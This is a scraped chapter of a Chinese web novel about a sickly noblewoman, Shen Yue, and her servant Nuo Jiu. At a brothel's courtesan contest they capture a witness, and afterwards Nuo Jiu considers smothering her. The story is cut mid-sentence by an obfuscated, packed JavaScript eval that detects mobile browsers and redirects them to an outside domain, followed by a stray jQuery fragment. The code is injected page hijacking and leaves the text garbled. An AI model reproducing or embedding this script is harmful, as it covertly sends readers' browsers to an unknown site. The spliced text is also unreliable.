说话间沈约目光一凝,大厅西北角坐下个驼背男人,正是秦老板所说的人证。
此人虽然胡须染白弯腰驼背,可衣着饰物无一不富贵,因此甫一坐下,就有两三个娘子依偎到了他身边。
二楼为贵客设计,楼下熙攘只能传到此处一些微末余音,就算如此,只听那三声锐意萧音,也知道花魁大赛已拉开序幕。
窗户一扇接一扇拉开,不乏有常在醉经年碰见沈约的,还会隔着喧闹给沈约打个招呼。
沈约一一笑着望回去,以她的身份,在醉经年没人敢找她不痛快。
裙裾飘飞,花香弥漫,沈约岿然不动,不多时雅间门扉被叩响。
“江南淮阳苏氏冒昧求见。”
来人身高八尺,剑眉星目,桃腮朱唇,是为江南第一富商独女,苏碗,半月前初入京城,转悠了不少路段好的铺子,想必是不甘于只做江南首富,想入京发展了。
与沈约以女子身大摇大摆出入青楼不同,苏碗身着交领长袍,手持玉柄折扇,仪态风流,是一副雌雄莫辨的男子姿态。
苏碗还不知自己在沈约眼中已经被扒光,勾唇抬手,一方清透暖玉躺在锦盒中央:“碗久仰清源郡君大名,有幸偶遇,小小见面礼,还望郡君不嫌弃。”
沈约这才将目光从下方收回,不紧不慢坐回软榻,看也不看一眼那方白玉,不甚在意开口:“何事?”
锦盒“咔哒”落在桌面,苏碗眨眼:“久闻清源郡君在京城独表一支,碗心生敬仰,愿自荐做郡君的玩伴。”
那一眼绝对有诱惑成分,跟矿上快要饿死的女人勾引男人一个模样,傩九望向一旁做装饰的竹篾,思考待会儿要不要听沈约的话招呼这个大胆的可怜东西。
谁知沈约并未拒绝,径直道:“样貌不错,次月初五到沈府找我。”
说完对傩九抬抬下巴:“去收了吧。”
苏碗笑意加深:“那便不打扰郡君了,祝郡君今天玩的尽兴。”
来的突然去的突然,冠冕堂皇莫名其妙,更奇怪的是沈约,当初把他打的那么疼,脖子下头的浮肿就算用着最好的药膏都十来天才消下去,这人凭什么就只受了沈约两下冷眼呢?
傩九捧着暖玉丈二摸不着头脑。
沈约见他频频低头看怀里,左右这块玉也就是苏碗送上来的敲门砖,大发慈悲道:“喜欢?赏你了。”
不喜欢,还不如对沈约打赏鱼儿的金叶子喜欢,傩九下意识皱眉,又掂量了一下这玉的分量,越是宝贵的东西越难求,这么大一块,想必不值什么钱,可能都不够给小妹抓两幅药。
这是沈约就跟傩九肚子里蛔虫似的:“上好的佳清暖玉,能抵你私藏的那些劣质货十个不止。”
!!!
沈府有条自湖边至中央的小径,两侧铺以玉石装饰,傩九时不时去扣两块下来,还以为没人知道呢。
傩九“啪”一下把盖子盖上塞进怀里,没克制住讨好道:“小姐,小的只是爱捡些漂亮石头,小姐不喜欢,小的以后不捡了。”
真是没出息到姥姥家了,见识阅历并非一朝一夕能培养出来,一想到要忍耐这个蠢货不知道多久,她就想早早灭口。
全力压下嫌弃,沈约揉揉额头:“在外人面前少摆出这幅样子,今天上午的事你应该不想再经历一遍。”
傩九讪讪应下。
距离花魁大赛结束还有一些时间,但今日已经耗费了不少体力,沈约微微躬起脊背,一边趁醉经年没有发出暗号前养精蓄锐,一边考校傩九一月所学。
谈不上对答如流,并未做到融会贯通,但胜在勤恳,让他一字一句去背的东西并未敷衍。
傩九回答的磕磕绊绊,心虚地瞅边上竹篾,生怕沈约一个不满意又抽他一顿的样子。
“不错。”
一语落定,傩九长出一口气:“小姐,刚刚那人...”
“江南富商之子,来京城搭线架桥,选中我了。”
哦,那他为什么一副自荐枕席的样子,而沈约又是一副要糟蹋良家少男的样子。
傩九把这句问话顺着唾沫咽回肚子里,没敢问。
反正无外乎什么明遮暗防,隐蔽安全,他好歹跟了一个月,不能显得那么笨。
外头熙熙攘攘更胜一筹,但醉经年始终没有发出动手信号,到了醉经年却不欣赏花娘们表演其实是件很奇怪的事,好在沈约体弱,但凡出门脸色苍白些,就会有人自动帮她圆上因果。
傩九耳朵侧耳凝神:“小姐,翠娘的初夜拍卖开始了。”
拍卖会和花魁大赛之间并无特殊提示,沈约不免讶然:“推开窗吧。”
窗户再次被推开,沈约在醉经年偏爱翠娘不是秘密,二楼各位对视一眼露出心照不宣的微笑。
沈约向下望去,拍卖会果真已经开始了。
“听到的?”
“是,小姐。”
沈约意味深长:“倒是我疏忽了,这么久不曾发现你的天赋。”
傩九心虚,他信三皇子却不信沈约,况且沈约之前每天只教他两个小时,还是又凶又狠,错一个赏一板子的德行,他自然不敢告诉他这些关键时刻可能救命的小本事。
今天上午那一场威胁看似声势浩大,但脱离了小妹会受到危险的应激状态后,不难看出沈约刻意恐吓,再加上种种引导,他确信,沈约是个好人,可能风流了点,刺激世俗了点,但她是个好人。
他就说,以三皇子的人品,怎么会招揽那种蛇蝎心肠,是鬼非人的坏蛋呢。
沈约并不在意他的隐瞒,在傩九真的效忠三皇子前,她对傩九的提防只多不少。
毕竟这是个不管是以家人威胁还是以美人诱惑都能方寸大乱的蠢货。
说话间,台上烟云翻涌,翠娘薄纱覆体堪堪遮住三点私密,顺着水色长纱划落。
台下看客们呼吸都粗重了两分。
衣着暴露,舞姿大胆的一曲结束,有人迫不及待大喊:“翠娘选我!”
翠娘将身一扭,脊背沟纹处汗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977804|177883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珠清晰可见,在一众侵略的眼神中柔声:“那可要看老爷对翠娘心意如何了~”
欲望与竞争一起构成了一张张面红耳赤的鬼脸,在明艳诱惑中盘旋纠缠,直至落幕。
沈约目送那个驼背的富人消失在楼梯间,轻轻闭目。
“一会儿不管发生什么,听我指令。”
傩九心头一紧:“是,小姐。”
明烛软帐,美酒勾肠,冰肌玉骨,傩九跟在沈约身后进入翠娘房间时就是这样的景象。
哦,还有地上死了一样的老男人。
翠娘勾起衣衫笼在身上遮去零星红痕:“他警惕的很,翠娘费了大功夫骗来的,郡君可不要忘了自己的承诺。”
沈约将床帐从金钩放下将她身形彻底掩盖:“自然。”
帐中隐约传来一声轻笑,翠娘伸手拨开帷幔:“郡君还是一如既往地体贴...”
她话未说尽,顿了片刻才道:“既然交易结束,翠娘就不送了,二位慢走。”
醉经年将所有都办得顺当,甚至包揽了男人失踪后的说辞。
分余就只需带人将男人神不知鬼不觉压入准备好的地牢。
沈约的神经此时才微微放松片刻,她本想和秦老板再见一面,问出秦老板笃定男人和沈章文有关的原因,但连日的行程和时刻紧绷的情绪不容她支撑本就不好的身子。
无人察觉到沈约宽松衣衫下肌肉痉挛,沈约含笑告辞,乘着来时软轿大摇大摆地离开。
“咳咳咳......”
刚放下车帘,沈约绷紧的脊背骤然倒下,五指抓紧矮桌边沿伏倒在桌上,一手死死捂着嘴巴,吐出一串闷咳。
傩九猛然转身,沈约五指缝隙血迹蜿蜒,顺着腕骨坠落在案。
瞳孔微缩,本就异于常人的眉眼更锐利几分,傩九伸手按下自己的心跳,试探道:“沈约?”
“咳...咳...”傩九想让她死,沈约身形不稳,思维却无比清醒,虽然傩九今天释放出了可以合作的信号,但那是在他无力反抗时的暂时之举。
而今夜带傩九走这一趟醉经年,已经将外界傩九是她宠侍的传言坐实,他此时只需要将手帕捂死她的口鼻,伪装成咳血窒息而亡,既摆脱了她,又可以将自己完美地摘出去。
无可厚非,换做是她处在他的境地也会这么做。
但她不能死在这里,也不能暴露出去自己咳疾加重的消息。
傩九一步步靠近沈约,瞳孔忽大忽小,能覆盖沈约半个肩头的大手落在因无力弯折的颈骨上。
沈约偏头,眼角都晕染上病态的红晕,直勾勾和傩九对视:“当今陛下热衷于阴阳道术,信奉生死可破造化,此前已有提起殉葬之法...咳咳...咳咳咳...你猜,若分余带我遗嘱要你殉葬,陛下是答应,还是不答应。”
颈上手掌略略松开两分,沈约呼吸急促,又好似只是觉得自己活不长了自言自语一般:“可惜了,今日刚对你有所改观,竟是不想你陪我去了。”